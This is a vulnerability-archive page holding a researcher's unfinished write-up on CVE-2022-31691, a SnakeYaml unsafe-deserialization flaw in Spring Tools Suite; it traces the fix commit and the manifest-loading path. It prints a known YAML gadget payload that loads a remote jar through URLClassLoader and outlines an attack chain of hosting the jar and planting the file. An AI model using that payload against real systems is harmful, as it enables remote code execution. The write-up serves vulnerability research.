关联漏洞
标题:
Spring Tools 代码注入漏洞
(CVE-2022-31691)
描述:Spring Tools是Spring的一系列用于辅助开发者编写程序的插件。 Spring Tools 存在安全漏洞,该漏洞源于支持YAML编辑的Snakeyaml库允许YAML中的一些特殊语法,在某些情况下允许攻击者执行潜在有害的远程代码。以下产品和版本受到影响:Spring Tools Suite 4.16.0及之前版本、Spring Boot Tools1.39.0及之前版本、Concourse CI Pipeline Editor1.39.0及之前版本、Bosh Editor1.39.0及之前版本
描述
A write-up of my (so far inconclusive) look into CVE-2022-31691
介绍
# CVE-2022-31691
A write-up of my (so far inconclusive) look into CVE-2022-31691.
# Background
I'm a frequent user of the Spring Tool Suite (STS) for Eclipse, and tend to rely on it to initialise new Spring Boot projects. This vulnerability (see https://tanzu.vmware.com/security/cve-2022-31691) is an RCE which can be induced through unsafe loading of content from a yaml configuration file.
SnakeYaml is a very common yaml parser and emitter for Java. However, as with any marshalling/unmarshalling process, there's always the risk that unwanted content could be loaded straight into memory. SnakeYaml is no different - see https://code.google.com/archive/p/snakeyaml/wikis/Documentation.wiki#Tutorial.
```
Loading YAML
Warning: It is not safe to call Yaml.load() with any data received from an untrusted source!
The method Yaml.load() converts a YAML document to a Java object.
```
With that in mind, the project maintainers added a SafeConstructor method:
```
Note if you want to limit objects to standard Java objects like List or Long you need to use SafeConstructor.
Yaml yaml = new Yaml(new SafeConstructor());
```
The rationale is pretty clear, but this advice clearly isn't being well-heeded. You don't need to look far to see examples of unsafe loading practices. Even Baeldung (a wonderful source of information on Spring) fails to mention this in its guide: https://www.baeldung.com/java-snake-yaml#basic-usage.
In order to exploit this, I need to get this constructor to unmarshall an object that I have control over. Foruntately, others have already done the leg work here. https://github.com/artsploit/yaml-payload is a really simple project to generate SnakeYaml exploit payloads a la https://github.com/mbechler/marshalsec. The rationale is:
- use the artsploit library to generate a gadget exploit jar
- host that exploit jar on a local webserver
- build a malicious yaml file that will trigger the load of that jar into memory
```
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://artsploit.com/yaml-payload.jar"]
]]
]
```
- work out which yaml files are being loaded by STS in an unsafe manner
- create an eclipse project that incudes this malicious yaml file, and make sure it follows the above attack chain up to achieve code execution.
# The STS changes
## Find the commit
This vulnerability was fixed in STS version 4.16.1. A quick look over the commits in this version offer up a couple of helpful pointers as to what was fixed - https://github.com/spring-projects/sts4/compare/4.16.0.RELEASE...4.16.1.RELEASE
The message on [this commit](https://github.com/spring-projects/sts4/commit/2d841f78fc4c7ebfcc191e93e8f27ce06835ea32) - "Use SafeConstructor in Snakeyaml YAML constructors" is a nice pointer to what's been fixed.
Sure enough, [this](https://github.com/spring-projects/sts4/commit/2d841f78fc4c7ebfcc191e93e8f27ce06835ea32#diff-2c281a6aa79de90814f45a2ee015ab10a3d4995a2e0c942a156f0db89050d6e3L389) is where the SafeConstructor is substituted.
```
YamlASTProvider parser = new YamlASTProvider(new Yaml(new SafeConstructor()));
```
If I'm interested in exploiting this, I need to get some malicious content into this SnakeYaml constructor, so I need to track down where it's called from.
## Find where the input comes from
The SnakeYaml object creation is fed an ```InputStream``` object that's created by a method ```getInputStream()```.
```getInputStream()``` calls ```getManifestFile()``` to determine which manifest file to load.
```getManifestFile()``` returns either the location of a manifest file (if specified in the constructor), or null.
The ```ApplicationManifestHandler``` class is initialised in the CloudFoundryBootDashModel class [here](https://github.com/spring-projects/sts4/blob/4.16.0.RELEASE/eclipse-extensions/org.springframework.ide.eclipse.boot.dash.cf/src/org/springframework/ide/eclipse/boot/dash/cf/model/CloudFoundryBootDashModel.java#L631) and is passed a value that's derived from a value set in the constructor for the resolveDeploymentProperties method [here](https://github.com/spring-projects/sts4/blob/4.16.0.RELEASE/eclipse-extensions/org.springframework.ide.eclipse.boot.dash.cf/src/org/springframework/ide/eclipse/boot/dash/cf/model/CloudFoundryBootDashModel.java#L541).
# Where I am so far - blocked!
I'm pretty sure I need to get some CloudFoundry configuration in place in order to get it to try to load/invoke my malicious manifest.yml file.
It turns out that CloudFoundry is a dying technology, thanks to (I assume) Kubernetes and the like. I can't find any sort of public platforms to create a CF connection to, so I can't actually test things out from here.
# Next
Look into spinning up a local development instance of CloudFoundry, if only to test out my understanding of the vulnerability and exploit.
文件快照
[4.0K] /data/pocs/be56e9a3662a3ae0749cf2e8d7efcd0da4555a19
└── [4.7K] README.md
0 directories, 1 file
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。